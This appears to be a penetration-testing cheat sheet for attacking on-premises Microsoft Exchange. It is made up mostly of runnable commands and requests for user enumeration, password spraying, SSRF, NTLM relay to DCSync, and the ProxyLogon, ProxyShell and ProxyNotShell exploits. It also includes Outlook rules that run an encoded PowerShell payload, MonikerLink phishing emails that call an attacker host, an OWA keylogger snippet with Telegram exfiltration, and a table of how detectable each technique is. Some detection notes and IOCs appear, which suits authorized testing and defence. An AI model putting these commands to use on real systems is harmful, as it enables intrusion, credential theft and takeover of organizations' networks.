Sources:
[1] Attacking MS Exchange Web Interfaces – PT SWARM (2020)
[2] Arseniy Sharoglazov – Practical Use Cases of Exploiting MS Exchange in External Penetration Tests (PositiveHack Talks Hanoi, Nov 2024)
[3] CVE research + real-world campaign analysis (2021–2025)
Scope: External/Internal authorized penetration testing of on-premises MS Exchange
Warning: For authorized engagements only.
Discover Exchange → User Enumeration → Password Spraying → SSRF / CVEs → RCE
↑ ↑
[Obtain User List] ←────────┘
↓
[Data Leaks / Persistence]
/autodiscover/autodiscover.xml MS-OXDSCLI (path completion may apply)
/EWS/Exchange.asmx MS-OXWSCORE (case sensitive may apply)
/owa/ /ecp/ Outlook Web App / Exchange Control Panel
/PowerShell/ MS-WSMAN (case sensitive may apply)
/mapi/ MS-OXCMAPIHTTP
/Microsoft-Server-ActiveSync/ MS-ASHTTP (case sensitive may apply)
/oab/ MS-OXWOAB
/rpc/rpcproxy.dll MS-RPCH
Many additional poorly-studied endpoints exist worth probing.
Some admins restrict endpoints. The restriction is frequently bypassable via /../. Confirmed on 7+ real engagements.
# General pattern
curl -k --path-as-is https://<host>/<allowed-endpoint>/../<endpoint-needed>/
# Examples
curl -k --path-as-is https://autodiscover.target.com/autodiscover/../owa/
curl -k --path-as-is https://autodiscover.target.com/autodiscover/../ecp/
curl -k --path-as-is https://autodiscover.target.com/autodiscover/../PowerShell/# ⚠ Change the User-Agent or the request may be blocked by TMG/WAF
nmap -p 443 --script http-ntlm-info \
--script-args "http-ntlm-info.root=/autodiscover/autodiscover.xml,http.useragent=Microsoft Office/16.0" \
autodiscover.target.com
# Returns: DNS_Domain_Name, NetBIOS_Domain_Name, DNS_Computer_Name, Product_Version
# Shodan dork
http.component:"outlook web app"python3 ntlmscan.py https://mail.target.com
# https://github.com/nyxgeek/ntlmscanMicrosoft's documentation specifies PowerShell connects only via 80/tcp (HTTP), blocking external exploitation of CVE-2023-21707 and others. Bypass with socat to tunnel HTTPS as HTTP:
echo "192.168.0.10 EXCH01.CONTOSO.COM" >> /etc/hosts
socat -v TCP4-LISTEN:80,fork,reuseaddr SSL:mail.target.com:443,verify=0$secureString = ConvertTo-SecureString -String "P@ssw0rd" -AsPlainText -Force
$userCredential = New-Object System.Management.Automation.PSCredential `
-ArgumentList "CONTOSO.COM\admin", $secureString
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$session = New-PSSession -ConfigurationName Microsoft.Exchange `
-ConnectionUri http://EXCH01.CONTOSO.COM/PowerShell `
-Credential $userCredential -Authentication Kerberos `
-SessionOption $sessionOption
Import-PSSession $sessionEvery NTLM auth endpoint is vulnerable to timing-based user enumeration — valid users take slightly longer to respond. Send credentials via Basic or x-www-form-urlencoded, NOT via NetNTLM.
# Step 1 — Get domain name via NTLMSSP
nmap -p 443 --script http-ntlm-info \
--script-args "http-ntlm-info.root=/autodiscover/autodiscover.xml,http.useragent=Microsoft Office/16.0" \
autodiscover.target.com
# Step 2 — Time-based enumeration via wfuzz
wfuzz -c -w ./usernames.txt --hc XXX -t 1 \
--basic 'AD_DOMAIN_NAME\FUZZ:P@ssw0rd' \
--req-delay 1 \
-f results.txt,csv \
-Z https://autodiscover.target.com/autodiscover/autodiscover.xml
# Reference: http://h.foofus.net/?p=784Set the target email in the Cookie: Email= header — presence/absence of a value in X-BackEndCookie reveals if the email address is valid. Discovers email addresses only, not domain account names.
# Email NOT found — X-BackEndCookie has no encoded value
GET /autodiscover/autodiscover.json?Protocol=ping HTTP/1.1
Cookie: Email=notexist@target.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)
# Email FOUND — X-BackEndCookie contains encoded SID data
GET /autodiscover/autodiscover.json?Protocol=ping HTTP/1.1
Cookie: Email=administrator@target.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)# Automate with wfuzz
wfuzz -c -w ./emails.txt --hh <invalid_size> \
-H "Cookie: Email=FUZZ@target.com" \
-H "User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)" \
https://mail.target.com/autodiscover/autodiscover.json?Protocol=pingTechnique credited to Georgy Kryuchkov (@zucrypt)
SMTP RCPT/VRFY/EXPN enumeration still works against Exchange. Discovers email addresses only. May require script modifications.
smtp-user-enum -M RCPT -U ./emails.txt -D target.com -t mx.target.com -p 25
# https://github.com/pentestmonkey/smtp-user-enumAny domain account works for auth. The email in <EMailAddress> must be a valid primary address.
curl -sk -X POST https://mail.target.com/autodiscover/autodiscover.xml \
-H "User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)" \
-H "Authorization: Basic $(echo -n 'DOMAIN\user:P@ssw0rd' | base64)" \
-H "Content-Type: text/xml" \
-d '<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>user@target.com</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>'
# Extract:
# X-BackEndCookie → authenticated user's SID
# <AD> → DC FQDN
# <Server> → Exchange RPC GUID identity
# <OABUrl> → OAB path for GAL download# List OAB files
curl -sk -u 'DOMAIN\user:P@ssw0rd' https://mail.target.com/<OABUrl>/oab.xml
# Download GAL file
curl -sk -u 'DOMAIN\user:P@ssw0rd' https://mail.target.com/<OABUrl>/<guid>.lzx -o gal.lzx
# Decompress
oabextract gal.lzx gal.oab # libmspack: https://www.cabextract.org.uk/libmspack/
# Extract emails
strings gal.oab | grep -E "@|SMTP"Get-GlobalAddressList -ExchHostname mail.target.com -UserName domain\user \
-Password 'P@ss' -ExchangeVersion Exchange2016 -OutFile gal.txt
# https://github.com/dafthack/MailSniper# Timing-based harvesting directly against OWA
Invoke-UsernameHarvestOWA -ExchHostname mail.target.com \
-UserList .\userlist.txt -Threads 1 -OutFile owa-valid-users.txt
# Harvest domain name from OWA WWW-Authenticate header
Invoke-DomainHarvestOWA -ExchHostname mail.target.comNovel PT SWARM technique using RPC over HTTP v2 with MS-OXNSPI/MS-OXABREF. No Autodiscover needed. Works with machine accounts too. Output can include machine certs, subnets, service account names, printer URLs.
# List Address Books
python3 exchanger.py -target mail.target.com -u 'DOMAIN/user' -p 'P@ssw0rd' list-tables
# Dump Global Address List
python3 exchanger.py -target mail.target.com -u 'DOMAIN/user' -p 'P@ssw0rd' \
dump-tables -name "Global Address List"
# DNT brute-force — dumps ALL AD objects (output may exceed 1 GB)
python3 exchanger.py -target mail.target.com -u 'DOMAIN/user' -p 'P@ssw0rd' \
dnt-lookup -output-file ad_dump.txt
# Lookup by known GUIDs
python3 exchanger.py -target mail.target.com -u 'DOMAIN/user' -p 'P@ssw0rd' \
guid-known -guid-file guids.txt
# Pass-the-Hash
python3 exchanger.py -target mail.target.com -u 'DOMAIN/user' -hashes :NTLMHASH dnt-lookup
# https://github.com/SecureAuthCorp/impacket
# ⚠ dnt-lookup may crash lsass.exe on Multi-Tenant/Global Catalog DCs — use list-tables/dump-tables insteadnet accounts /domain
# Typical: threshold=5 / 30-min window / 30-min lockout
# If you already have an account, test by intentionally locking it✗ AVOID: rockyou.txt, rockyou2024.txt, 10-million-password-list
(most passwords don't meet complexity → wasted lockouts)
✓ USE: dodgypass.txt — corporate-pattern passwords meeting complexity rules
Examples: P@ssw0rd, Qwerty123, 1qaz@WSX, 1qaz!QAZ, !QAZ2wsx,
123qweASD, Aa123456, QWEasd123, Qwer1234, 5tgb^YHN
https://github.com/mohemiv/dodgypass
patator.py http_fuzz auth_type=ntlm \
url=https://autodiscover.target.com/autodiscover/autodiscover.xml \
user_pass='FILE0:P@ssw0rd' 0=./userlist.txt
# https://github.com/lanjelot/patatorInvoke-PasswordSprayOWA -ExchHostname mail.target.com \
-UserList users.txt -Password 'Spring2024!' -Threads 15 -OutFile creds.txt
Invoke-PasswordSprayEWS -ExchHostname mail.target.com \
-UserList users.txt -Password 'Spring2024!' -Threads 15 -OutFile creds.txt
Invoke-PasswordSprayEAS -ExchHostname mail.target.com \
-UserList users.txt -Password 'Spring2024!' -Threads 15 -OutFile creds.txt
# EAS bypass: even if OWA is protected by 2FA, ActiveSync may not benxc exchange mail.target.com -u users.txt -p 'Spring2024!' --no-bruteforce -d DOMAINruler --domain target.com --insecure brute --userpass userpass.txt -v
# https://github.com/sensepost/rulerOutlook for iOS/Android uses Microsoft's MS Sync servers to proxy requests to on-premises Exchange. By routing spray traffic through this path, requests appear to originate from Microsoft's IP ranges — bypassing WAF/IP rate-limiting rules.
Attacker → Microsoft MS Sync Servers → EAS (Exchange ActiveSync) → On-Prem Exchange
Reference: https://learn.microsoft.com/en-us/exchange/clients/outlook-for-ios-and-android/use-basic-auth
If OWA is protected by MFA/ADFS, try EAS directly — it frequently has no MFA enforced:
curl -sk -X OPTIONS https://mail.target.com/Microsoft-Server-ActiveSync/ \
-u 'DOMAIN\user:P@ssw0rd' -I
# 200 = auth success without MFA| Vector | Endpoint | Notes |
|---|---|---|
| PushSubscription | EWS /EWS/Exchange.asmx |
NTLM relay trigger / blind SSRF |
| PushSubscription | MAPI | Same via MAPI protocol |
| PushSubscription | RPC | Same via RPC protocol |
| ActiveSync Search/ItemOperations | /Microsoft-Server-ActiveSync/ |
NetBIOS names only (no dots allowed) |
| CreateAttachmentFromUri | /owa/service.svc |
Full-read SSRF (see 3.3) |
Microsoft treats most of these as intended features, not vulnerabilities.
POST /EWS/Exchange.asmx HTTP/1.1
Authorization: Basic <base64_creds>
Content-Type: text/xml
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
<soap:Body>
<m:Subscribe>
<m:PushSubscriptionRequest>
<t:FolderIds><t:DistinguishedFolderId Id="inbox"/></t:FolderIds>
<t:EventTypes><t:EventType>NewMailEvent</t:EventType></t:EventTypes>
<t:URL>http://<attacker_IP>/capture</t:URL>
<t:StatusFrequency>1</t:StatusFrequency>
</m:PushSubscriptionRequest>
</m:Subscribe>
</soap:Body>
</soap:Envelope>Description: Unpatched SSRF in OWA that returns full HTTP response body of any internal URL as an email attachment. No CVE assigned — silently patched ~Sep 2024. Identified by Mikhail Klyuchnikov (2021) and Piotr Bazydło (2023, published Nov 2023 via ZDI).
POST /owa/service.svc?action=CreateAttachmentFromUri HTTP/1.1
Host: mail.target.com
X-OWA-CANARY: <canary>
Content-Type: application/json; charset=UTF-8
Action: CreateAttachmentFromUri
Cookie: <owa_session_cookies>
Content-Length: 0
X-OWA-UrlPostData: {"itemId":{"__type":"ItemId:#Exchange","Id":"[]","ChangeKey":""},
"uri":"http://10.0.1.22:8080/", "name":"testSSRF",
"subscriptionId":"a", "isInline":false, "contentId":""}# Wrapper for IP-range scanning via SSRF
python3 exch.py 'http://10.0.3.22:8080/'
python3 exch.py 'http://10.0.3.22:8080/cgi-bin/authLogin.cgi' # QNAP version fingerprint
# Write-up: https://www.zerodayinitiative.com/blog/2023/11/1/unpatched-powerful-ssrf-in-exchange-owa-getting-response-through-attachments# List shares via Exchange ActiveSync SSRF
python3 peas.py -u 'user' -p 'P@ss' --server mail.target.com \
list-unc '\\DC01-PRINT-02\'
# Download file from internal share via Exchange
python3 peas.py -u 'user' -p 'P@ss' --server mail.target.com \
dl-unc '\\DC01-PRINT-02\print$\file.txt' -o /tmp/file.txt
# Force NTLM auth capture (Responder running on attacker)
python3 peas.py -u 'user' -p 'P@ss' --server mail.target.com \
list-unc '\\<attacker_NetBIOS>\'
# ⚠ Only NetBIOS names work (no dots)
# ⚠ PEAS device IDs stored in AD — detectable via LDAP (msExchDeviceID=*)
# ⚠ Modify hard-coded PEAS identifiers before use to avoid quarantine detection
# Spoof legit identifiers: msExchDeviceModel=Outlook for iOS and Android
# https://github.com/FSecureLABS/PEAS# Step 1: Relay listener → LDAP on DC (grant DCSync rights to low-priv user)
ntlmrelayx.py -t ldap://<DC_IP> --escalate-user <low_priv_user>
# Step 2: Force Exchange machine account to auth to attacker
python3 privexchange.py -ah <attacker_IP> mail.target.com \
-u 'user' -p 'P@ss' -d DOMAIN
# Step 3: DCSync
secretsdump.py DOMAIN/<low_priv_user>:'P@ss'@<DC_IP>
# PowerShell alternative:
# powerPriv -targetHost exchange -attackerHost <attacker_IP> -Version 2016
# https://github.com/dirkjanm/PrivExchangeDescription: Before Exchange Server 2019 CU14, Exchange did not enforce Extended Protection for Authentication (EPA). An attacker can capture a victim's NTLMv2 hash (e.g., via CVE-2023-23397 or CVE-2024-21413/MonikerLink) and relay it directly to Exchange — no cracking required.
# Step 1: Set up NTLM relay to Exchange
ntlmrelayx.py -t https://mail.target.com/EWS/Exchange.asmx --no-smb-server
# Step 2a: Coerce NTLM from Outlook via CVE-2023-23397 (calendar/reminder lure)
python3 CVE-2023-23397.py --server <attacker_IP> --output calendar_lure.msg
# Send to victim via email/calendar
# Step 2b: Alternatively coerce via CVE-2024-21413 (MonikerLink email)
python CVE-2024-21413.py \
--server <SMTP_server> --port 587 \
--username <sender_email> --password <pass> \
--sender <sender> --recipient <victim> \
--url "file:///\\<attacker_IP>\share\lure.rtf!something" \
--subject "Important Document"
# Relayed hash grants access as victim on Exchange — read mail, impersonate, pivot
# CVE: CVE-2024-21410 (CVSS 9.8) — Patched: Exchange 2019 CU14 (Feb 2024)
# Affected: Exchange 2016/2019 without CU14 / EPA enabled
# Actively exploited by APT28 / Forest Blizzard (Russia)
# PoC: https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability# Add malicious rule
ruler --email user@target.com --username 'DOMAIN\user' --password 'P@ss' \
add --trigger "trigger_word" --action "cmd.exe /c powershell -e <b64payload>"
# List rules
ruler --email user@target.com --username 'DOMAIN\user' --password 'P@ss' display
# Delete rule
ruler --email user@target.com --username 'DOMAIN\user' --password 'P@ss' \
delete --name "rulename"
# Malicious form
ruler --email user@target.com --username 'DOMAIN\user' --password 'P@ss' \
form add --suffix test --input /path/to/payload.txt
# Folder home page
ruler --email user@target.com --username 'DOMAIN\user' --password 'P@ss' \
homepage add --url http://<attacker>/payload.html
# ⚠ Requires /autodiscover/ accessible + victim runs Outlook + Important updates missing
# ⚠ Hardcoded strings make Ruler detectable in most modern EDR
# https://github.com/sensepost/ruler# Search all mailboxes (requires ApplicationImpersonation role)
Invoke-GlobalMailSearch -ImpersonationAccount admin \
-ExchHostname mail.target.com -OutputCsv results.csv \
-Terms "password","vpn","credentials","secret","key"
# Search own mailbox
Invoke-SelfSearch -ExchHostname mail.target.com \
-ExchangeVersion Exchange2016 -Terms "password"
# List folder structure
Get-MailboxFolders -Mailbox current-user@target.com1. From OWA: Settings → Other People's Mailboxes → add target account
2. Grant permissions on your inbox to target account
3. Browse inbox in browser → capture admin SID from HTTP response
4. Use SID with serverHTTP_relayNTLM.py + Exch_EWS_pushSubscribe.py (ZDI scripts)
to escalate and access any mailbox
CVEs: CVE-2021-26855 (SSRF/auth bypass) + CVE-2021-27065 (file write → webshell)
Patched: March 2021 | Exploited by: HAFNIUM APT, multiple ransomware groups
nuclei -t cves/2021/CVE-2021-26855.yaml -u https://mail.target.com
use exploit/windows/http/exchange_proxylogon_rce # Metasploit
python3 proxylogon.py mail.target.com admin@target.comFlow: SSRF via /ecp/ (no auth) → forge admin cookie → ECP arbitrary file write → webshell at /aspnet_client/
CVEs: CVE-2021-34473 (ACL bypass) + CVE-2021-34523 (PowerShell EoP) + CVE-2021-31207 (file write)
Patched: May/Jul 2021 | Affects: Exchange 2013/2016/2019
nuclei -t cves/2021/CVE-2021-34473.yaml -u https://mail.target.com
use exploit/windows/http/exchange_proxyshell_rce # Metasploit
python3 proxyshell.py -u https://mail.target.com -e admin@target.com
# https://github.com/ktecv2000/ProxyShellManual flow:
1. /autodiscover/ → leak victim Legacy DN
2. Legacy DN → leak admin SID → forge access token
3. EWS CreateItem → write ASPX webshell into mailbox attachment
4. New-MailboxExportRequest → export PST to .aspx path in web root
5. Access webshell → SYSTEM
CVEs: CVE-2022-41040 (auth SSRF) + CVE-2022-41082 (PowerShell deserialization RCE)
Patched: November 2022 | Affects: Exchange 2013/2016/2019
nuclei -t cves/2022/CVE-2022-41040.yaml -u https://mail.target.com
python3 proxynotshell.py -t mail.target.com -u user@target.com -p 'P@ss' -c 'whoami'Flow: Auth SSRF via Autodiscover → /PowerShell/ backend → XAML deserialization → RCE as SYSTEM
Logs at: C:\Program Files\Microsoft\Exchange Server\V15\Logging\CmdletInfra\Powershell-Proxy\Http\
CVEs: CVE-2022-41080 (OWA EoP) + CVE-2022-41082 (RCE)
Patched: November 2022 | Used by: Play ransomware group
# Routes through OWA endpoint instead of Autodiscover (bypasses URL rewrite)
POST /owa/<email>/powershell
# PoC: https://github.com/CrowdStrike/OWASSRF
# ⚠ URL-rewrite mitigations ARE NOT sufficient — install Nov 2022 patch (KB5019758)Description: Crafted email/calendar invite with UNC path triggers NTLM auth on delivery — no user interaction. Exploited by APT28/Forest Blizzard (Russia) against NATO, Middle East, and government targets since April 2022.
python3 CVE-2023-23397.py --server <attacker_IP> --output malicious.msg
# Capture
responder -I eth0
# Crack or relay captured NTLMv2 hash
hashcat -m 5600 hash.txt wordlist.txt
ntlmrelayx.py -t ldap://<DC_IP> --escalate-user <user>
# https://github.com/api0cradle/CVE-2023-23397-POC-PowershellDescription: Two-CVE chain patched February 2024 Patch Tuesday. CVE-2024-21413 (MonikerLink) sends a crafted file:// hyperlink in an email — when previewed in Outlook, NTLM credentials are leaked automatically (no click needed). CVE-2024-21410 allows relaying those credentials directly to Exchange. Exploitable even from Preview Pane.
# Step 1: Capture NTLM via MonikerLink email
python CVE-2024-21413.py \
--server smtp.attacker.com --port 587 \
--username attacker@attacker.com --password 'P@ss' \
--sender attacker@attacker.com \
--recipient victim@target.com \
--url "file:///\\<attacker_IP>\share\file.rtf!something" \
--subject "Urgent: Please review"
# Step 2: Relay captured NTLMv2 to Exchange (CVE-2024-21410)
ntlmrelayx.py -t https://mail.target.com/EWS/Exchange.asmx --no-smb-server
# CVE-2024-21413 CVSS: 9.8 — Affects all Outlook versions (actively exploited per CISA 2025)
# CVE-2024-21410 CVSS: 9.8 — Affects Exchange 2016/2019 pre-CU14 (zero-day, actively exploited)
# Fix: Exchange 2019 CU14 enables EPA by default; patch Outlook for CVE-2024-21413
# PoC: https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-VulnerabilityDescription: Real-world attack observed by PT ESC (2024–2025) affecting 65+ organizations in 26 countries. After gaining SYSTEM via ProxyShell/ProxyLogon, attackers inject a JavaScript keylogger into OWA's logon.aspx page to silently harvest all user credentials.
// Injected into clkLgn() function in logon.aspx
var ObjectData = "ObjectType=" + escape(curTime + "\t" + gbid("username").value +
"\t" + gbid("password").value) + "&uin=" + Math.random().toString(16).substring(2);Variant 1 — Local storage (stealth, no outbound traffic):
Credentials → written to .txt/.log file on server → accessible via browser path
Also captures: cookies, User-Agent strings, timestamps
Variant 2 — Telegram bot exfiltration:
Credentials → XHR GET request → external Telegram bot
Headers used: APIKey, AuthToken
Detection check:
# Check logon.aspx for injected code
strings "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logon.aspx" | grep -i "objectdata\|clklgn\|telegram\|xhr"
# Check for accessible credential files
curl https://mail.target.com/<path_to_log_file># Via Exchange Control Panel — impersonate any mailbox
# Grant ApplicationImpersonation to your controlled account
New-ManagementRoleAssignment -Name "ImpersonationAssign" \
-Role ApplicationImpersonation -User attacker@target.com
# Search all mailboxes for sensitive content (MailSniper)
Invoke-GlobalMailSearch -ImpersonationAccount attacker@target.com \
-ExchHostname mail.target.com -Terms "password","secret","vpn","key" -OutputCsv loot.csvpython3 rpcmap.py \
-auth-transport 'DOMAIN/user:P@ss' \
-auth-rpc 'DOMAIN/user:P@ss' \
-auth-level 6 -brute-opnums \
'ncacn_http:[6001,RpcProxy=mail.target.com:443]'C:\inetpub\wwwroot\aspnet_client\
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<guid>\
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logon.aspx ← keylogger
Malicious add-ins installed via EWS persist across devices without touching disk.
Reference: https://www.mdsec.co.uk/2019/01/abusing-office-web-add-ins-for-fun-and-limited-profit/
Step 1: Time-based NTLM enumeration via wfuzz → user list obtained
Step 2: dodgypass.txt spray via Autodiscover → 100+ AD accounts compromised
Step 3: exchanger.py dnt-lookup → AD dump reveals MyQ print server (dc01-print-02)
mailNickname=myq, objectSid, machine certificate included in output
Step 4: PEAS ActiveSync SSRF → verify \\dc01-print-02\ → print$ share confirmed
Step 5: Download MyQ software locally → PHP source obfuscated
Decode via: <?php highlight_file("./Encryptor.php"); ?>
All PHP files unlock after decoding Encryptor.php
Step 6: Analyze Mgmt.php::invoke() →
@noAuthentication directive (no auth required) +
signature = MD5(UTF-16LE($data)) +
cloud password = "" (empty string, found via dynamic debugging)
Step 7: Variable function execution via SMB_LOCATION parameter
SMB_LOCATION[64] overflows into cmd_first_arg → system() call
POST http://dc01-print-02:8090/index.php?m=WebService_Mgmt::invoke
&p={"m":"Wsf\\Win\\Firewall::delete","p":"----\\"|cmd...","id":"\"","pwd":"\""}
&s=<md5_of_empty_string>
Step 8: Exfil command output via PEAS: dl-unc '\\dc01-print-02\print$\1.txt'
Result: NT AUTHORITY\SYSTEM on print server
Time: 6 days (enum/brute) + 1 day (RCE)
CVE: CVE-2024-28059 (MyQ Print Server 8.2, CVSS 9.8, patched Jan 2024)
# Key commands
python3 exchanger.py -target autodiscover.target.com -u 'DOMAIN/user' -p 'P@ss' \
dnt-lookup -output-file ad_dump.txt
python3 peas.py -u 'user' -p 'P@ss' --server autodiscover.target.com \
list-unc '\\dc01-print-02\'
python3 peas.py -u 'user' -p 'P@ss' --server autodiscover.target.com \
dl-unc '\\dc01-print-02\print$\1.txt' -o /tmp/result.txtStep 1: GitHub OSINT — RegExp search /[.]LOCAL[\\][A-Z0-9_]{10,}:/
Found hardcoded credential: username=LDavi password=November_2022!
Step 2: Password incrementation brute-force via patator
patator.py http_fuzz auth_type=basic url=https://mail.target.com/rpc/rpcproxy.dll
user_pass='LDavi:November_2023!' → HTTP 200 → access confirmed
Step 3: Login OWA → use CreateAttachmentFromUri Full-Read SSRF
Scan internal ranges: python3 exch.py 'http://10.0.3.22:8080/'
Step 4: QNAP NAS identified at 10.0.3.22:8080 via HTML fingerprint
Step 5: Fingerprint QNAP: GET /cgi-bin/authLogin.cgi
→ Model: TS-X41, Firmware: 4.3.6 (EOL, unsupported)
Step 6: QNAP user enumeration via SSRF:
GET /cgi-bin/filemanager/qsyncPrepare.cgi?debug=9&user=admin → UID found
GET /cgi-bin/filemanager/qsyncPrepare.cgi?debug=9&user=notexist → UID: ---
Step 7: Brute-force QNAP admin via SSRF (dodgypass.txt):
GET /cgi-bin/authLogin.cgi?user=admin&plain+pwd=Qwerty123
→ authSid returned in XML on success
Step 8: Stack overflow in /cgi-bin/wizReq.cgi via SSRF:
SMB_LOCATION[64] overflows into cmd_first_arg → arbitrary command via system()
SMB_LOCATION=DEADBEEF...%60<cmd>%60
Out-of-band DNS/HTTP callback confirms RCE
Result: root on QNAP NAS file server
Time: 3 days (enum/brute) + 14 days (source analysis/RCE)
CVE-1: CVE-2023-39300 (QNAP QTS 4.3.x/4.2.x, Moderate, patched Sep 2024)
CVE-2: OWA CreateAttachmentFromUri SSRF — silently patched Microsoft ~Sep 2024, no CVE
Context: Active campaign discovered by Positive Technologies ESC (PT ESC)
65+ organizations in 26 countries compromised
First observed: 2021; expanded 2024–2025
Sectors: Government, banking, IT, education, Africa + Middle East → global
Step 1: Scan internet for Exchange servers exposing OWA (Shodan/Censys)
http.component:"outlook web app"
Step 2: Exploit ProxyShell (CVE-2021-34473/34523/31207) or ProxyLogon
(CVE-2021-26855/27065) to gain SYSTEM on Exchange
Step 3: Inject JavaScript keylogger into logon.aspx:
Modified clkLgn() function to capture username + password + timestamp
var ObjectData = "ObjectType=" + escape(curTime + "\t" +
gbid("username").value + "\t" + gbid("password").value) + "&uin=..."
Step 4: Exfiltrate via one of two methods:
Variant A: Write to .log file on server (no outbound traffic, stealth)
→ Retrieve via direct HTTP request to known path
Variant B: Send via XHR GET to Telegram bot
→ Headers: APIKey, AuthToken
Step 5: Harvest ongoing OWA credentials from all users over weeks/months
Persistence: Keylogger survives patching unless specifically removed
Detection: Check logon.aspx for injected JS in clkLgn() / check for
credential .log files accessible from internet
IOCs:
Modified: C:\...\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logon.aspx
Dropped: Accessible .txt/.log credential dump file at predictable path
Traffic: XHR GET requests to t.me/* or custom C2 with APIKey header
Context: Used by APT28/Forest Blizzard (Russia) and other APTs
Active exploitation confirmed by CISA (added to KEV catalog)
97,000+ Exchange servers potentially vulnerable at disclosure time
Targets: NATO governments, foreign affairs, energy, defense
Step 1: Identify organization + find Outlook-using victim email
Step 2: Send MonikerLink phishing email (CVE-2024-21413, CVSS 9.8):
Subject: "Urgent: Shared Document Requires Review"
Body contains: <a href="file:///\\<attacker_IP>\share\doc.rtf!something">View Doc</a>
No click required — Preview Pane in Outlook triggers automatic NTLM auth
Step 3: Capture NTLMv2 hash via Responder on attacker infrastructure
Step 4: Relay captured NTLMv2 to Exchange (CVE-2024-21410):
ntlmrelayx.py -t https://mail.target.com/EWS/Exchange.asmx
→ Authenticate as victim on Exchange without cracking hash
Step 5: Perform operations as victim: read emails, exfiltrate data,
set email forwarding rules, move laterally via internal emails
Indicators:
Outbound SMB to external IPs from Outlook process (NTLM leak)
NTLMv2 auth attempts to Exchange from unexpected IPs
EWS operations from unusual client IPs/User-Agents
Patch:
CVE-2024-21413: February 2024 Patch Tuesday (all Office versions)
CVE-2024-21410: Exchange 2019 CU14 (enables EPA by default)
| Technique | Detection Risk | Notes |
|---|---|---|
| Time-based NTLM enum (wfuzz) | Low | Timing-only, no lockouts, hard to detect |
| AutodiscoverV2 Cookie enum | Low | Unauthenticated, no lockouts, minimal logging |
| SMTP enum | Medium | SMTP logs capture RCPT probes |
| OAB extraction | Medium | /oab/ endpoint sometimes monitored by Blue Teams |
| Autodiscover XML spray | High | Well-known, triggers alerts on most SIEMs |
| Shadow Auth (MS Sync) | Low | Requests appear from Microsoft IPs |
| ActiveSync MFA bypass | Medium | Abuses protocol gap; check for per-protocol MFA config |
| ActiveSync (PEAS) | Medium | Device IDs stored in AD — (msExchDeviceID=*) detectable |
| PEAS default IDs | High | Quarantine triggers admin email + blocks subsequent access |
| exchanger.py dump-tables | Low | Novel technique, few existing signatures |
| exchanger.py dnt-lookup | Medium | May crash lsass on multi-tenant/GC DCs |
| Ruler | High | Hardcoded strings + "Ruler" in go-ntlm — signatured in EDR |
| OWA SSRF (CreateAttachmentFromUri) | Low | Minimal logging for attachment operations |
| EWS Subscribe SSRF | Medium | Some SIEMs watch for external EWS push subscriptions |
| ProxyShell / ProxyLogon | Critical | Heavily signatured; triggers in all modern EDR/WAF/SIEM |
| OWA Keylogger injection | Low-Medium | No outbound traffic in Variant A; hard to detect without integrity checks |
| MonikerLink email | Medium | YARA rules available (Florian Roth); monitor outbound SMB |
| CVE-2024-21410 relay | Medium | Detectable via NTLM relay monitoring, unexpected EWS auth |
| dodgypass.txt spray | Low-Medium | Complex passwords less noisy vs rockyou; still lockout-risk |
Allowlist bypass (/../) |
Low | Path traversal often not logged at WAF level |
| Tool | Purpose | Link |
|---|---|---|
| exchanger.py | Full AD dump via MS-OXNSPI, any domain account | Impacket |
| MailSniper | GAL enum, OWA spray, username harvest, email search | GitHub |
| Ruler | MAPI RCE via rules/forms/homepages | GitHub |
| PEAS | ActiveSync SMB/HTTP access + SSRF | GitHub |
| PrivExchange | EWS NTLM relay → LDAP → Domain Admin | GitHub |
| ntlmrelayx | NTLM relay framework (Impacket) | Impacket |
| ntlmscan | NTLM endpoint discovery + wordlist | GitHub |
| patator | Protocol-aware brute-force / spraying | GitHub |
| wfuzz | Web fuzzer (timing-based NTLM enum) | Built-in / pip |
| smtp-user-enum | SMTP RCPT/VRFY/EXPN enumeration | GitHub |
| dodgypass.txt | Corporate-pattern password wordlist | GitHub |
| rpcmap.py | RPC endpoint mapper over HTTP v2 | Impacket |
| Metasploit | ProxyLogon / ProxyShell / exchange modules | msfconsole |
| Nuclei | CVE scanning templates | GitHub |
| Responder | NTLM hash capture (for CVE-2023-23397 / MonikerLink) | GitHub |
| CVE-2024-21413 PoC | MonikerLink email sender | GitHub |
| SprayingToolkit | OWA/EWS/EAS spraying | GitHub |
| Name | CVE(s) | Auth Required | Impact | Patched | Exploited ITW |
|---|---|---|---|---|---|
| ProxyLogon | CVE-2021-26855, CVE-2021-27065 | No | Pre-auth RCE | Mar 2021 | ✅ HAFNIUM, ransomware |
| ProxyShell | CVE-2021-34473, CVE-2021-34523, CVE-2021-31207 | No | Pre-auth RCE | May/Jul 2021 | ✅ Mass exploitation |
| ProxyNotShell | CVE-2022-41040, CVE-2022-41082 | Yes (any mailbox) | Auth RCE | Nov 2022 | ✅ Targeted |
| OWASSRF | CVE-2022-41080, CVE-2022-41082 | Yes (any mailbox) | Auth RCE via OWA | Nov 2022 | ✅ Play ransomware |
